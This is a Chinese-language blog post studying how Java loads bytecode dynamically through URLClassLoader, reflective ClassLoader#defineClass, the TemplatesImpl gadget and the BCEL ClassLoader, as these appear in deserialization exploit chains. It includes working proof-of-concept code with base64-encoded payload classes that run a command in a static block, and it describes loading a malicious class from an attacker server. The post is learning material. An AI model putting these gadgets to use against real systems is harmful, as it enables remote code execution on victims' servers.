• Java 动态加载字节码


    Java 动态加载字节码

    主要是为了学习TemplatesImpl这个在各类漏洞利用链中高频出现的类。顺便复习下ClassLoader(加载器)相关知识。

    Java字节码(ByteCode)

    即编译后得到的class文件内容,本质上就是JVM执行使用的一类指令。广义上包括所有能够恢复成一个类并在JVM虚拟机里加载的字节序列

    下图节选自 Java安全漫谈 - 13.Java中动态加载字节码的那些方法

    image-20220601105948203

    URLClassLoader 加载远程class文件

    URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类。image-20220601110612810

    Java会根据配置项 sun.boot.class.path java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

    1. URL未以斜杠 / 结尾,使用 JarLoader 在Jar包中寻找.class文件
    2. URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 在本地文件系统中寻找.class文件
    3. URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

    攻击者通常使用的是第三种情况,即在vps上丢一个恶意class文件,然后通过HTTP协议进行远程加载。

    #http://localhost:8000/evil.class
    URL[] urls = {new URL("http://localhost:8000/")};
    URLClassLoader loader = URLClassLoader.newInstance(urls);
    Class c = loader.loadClass("evil");
    c.newInstance();
    
    • 1
    • 2
    • 3
    • 4
    • 5

    ClassLoader#defineClass 加载字节码

    基本流程如下:

    loadClass -> findClass -> defineClass

    其中defineClass才是最终处理字节码的部分,将一段字节流转变成一个Java类真正的在JVM中定义了一个类。

    Java默认的 ClassLoader#defineClass 是一个native方法

    public class evliClass {
        static {
            try{
                Runtime.getRuntime().exec("calc");
            }catch(Exception e){
                e.printStackTrace();
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    javac编译一下得到字节码,将其base64编码之后进行加载

    ClassLoader#defineClass 是一个保护属性,无法直接在外部访问,需使用反射的形式来调用

    import java.lang.reflect.Method;
    import java.util.Base64;
    public class TestDefineClass {
        public static void main(String[] args) throws Exception {
            Method defineClass =
                    ClassLoader.class.getDeclaredMethod("defineClass", String.class,
                            byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMZXZsaUNsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHABwBAApTb3VyY2VGaWxlAQAOZXZsaUNsYXNzLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYwwAIwAkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJQAKAQAJZXZsaUNsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAABAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAABAAJAAcADAAFAA0ABgARAAgADQAAAAwAAQANAAQAEQASAAAAEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==");
            Class evli = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "evliClass", code, 0, code.length);
            evli.newInstance();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    可以看到成功执行命令

    image-20220602011930057

    TemplatesImpl 加载字节码

    上面说的defineClass方法作用域是不开放的,但常用的一个攻击链 TemplatesImpl 用到了它,使得攻击者可以间接调用他。

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的内部类TransletClassLoader重写了defineClass方法

    static final class TransletClassLoader extends ClassLoader {
            private final Map<String,Class> _loadedExternalExtensionFunctions;
    
    ..................................
    
            /**
             * Access to final protected superclass member from outer class.
             */
            Class defineClass(final byte[] b) {
                return defineClass(null, b, 0, b.length);
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    将ClassLoader#defineclass方法的作用域从protected类型变成了一个default类型,可以被类外部调用(同一个包内可见)。

    image-20220625001919141

    跟踪该方法的调用到TemplatesImpl#defineTransletClasses(),传入的_bytecodes属性就是由字节码组成的数组,也就是放payload的位置。

    image-20220625002147200

    再到TemplatesImpl#getTransletInstance(),这里需要注意_name属性不能为null,不然直接return了,生成exp的时候随便写个值上去。

    image-20220625002330232

    最后到TemplatesImpl#newTransformer()这个public方法

    image-20220625003625437

    最终poc如下,除了上面提到的两个属性,还需要设置 _tfactory为一个 TransformerFactoryImpl 对象,TemplatesImpl#defineTransletClasses() 方法里在得到TransletClassLoader对象的时候的run()方法中调用了_tfactory.getExternalExtensionsMap() ,如果是null会出错。

    public class TestTemplatesImpl {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        public static void main(String[] args) throws Exception {
            byte[] code = Base64.decodeBase64("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][] {code});
            setFieldValue(obj, "_name", "test");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    
            obj.newTransformer();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    这里的生成字节码的类需要是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类, TemplatesImpl 中对加载的字节码是有一定要求的。

    public class evalClassTemplatesImpl  extends AbstractTranslet {
        static {
            try{
                Runtime.getRuntime().exec("calc");
            }catch(Exception e){
                e.printStackTrace();
            }
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    image-20220625005454614

    不过还有一些细节需要注意,上面的调用只是看到了有执行到defineClass并没有提到在哪实例化(defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行,包括static块中的代码)。

    先来看另外一个调用TemplatesImpl#defineTransletClasses()的方法,TemplatesImpl#getTransletIndex ()

    image-20220625005742616

    该方法是一个public方法,修改poc直接调用该方法运行结果无事发生。

    image-20220625005950755

    虽然有执行到defineClass,但后面没有对这个类对象进行实例化,也就是没有调用构造函数,所以其实是没有触发漏洞的。

    调试一下可以发现上面的调用链所使用的TemplatesImpl#getTransletInstance方法在调用完defineTransletClasses()之后,通过_class[_transletIndex].newInstance()实例化了类。

    image-20220625011430525

    BCEL ClassLoader加载字节码

    Apache Commons BCEL被包含在了JDK的原生库中,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码。

    通过BCEL提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码。

    最后加上$$BCEL$$字符串开头,因为com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass()会检查类名是否是$$BCEL$$开头

    image-20220625033851152

    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import com.sun.org.apache.bcel.internal.util.ClassLoader;
    
    
    public class testBCEL {
        public static void main(String []args) throws Exception {
            JavaClass cls = Repository.lookupClass(evliClass.class);
            String code = Utility.encode(cls.getBytes(), true);
            System.out.println(code);
    
            new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    image-20220625033523283

    但是在Java 8u251的更新中,这个ClassLoader被移除了。BCEL ClassLoader去哪了

  • 相关阅读:
    云原生之深入解析Prometheus Pushgetway的原理分析和实战操作
    idea菜单栏任务栏放缩比例修改
    Oracle Primavera Unifier文档管理器(Document Manager)
    Leetcode 45. 跳跃游戏 II(DP 双指针)
    MySQL — VARCHAR 长度截断问题
    ExoPlayer架构详解与源码分析(2)——Player
    【SpringBoot+Vue】前后端分离项目之图片上传与下载
    【第一章 虚拟机】
    如何用Docker容器部署项目,并外部访问?
    Linux操作系统使用及C高级编程-D5Linux shell命令(进程管理、用户管理)
  • 原文地址:https://blog.csdn.net/weixin_43610673/article/details/125454750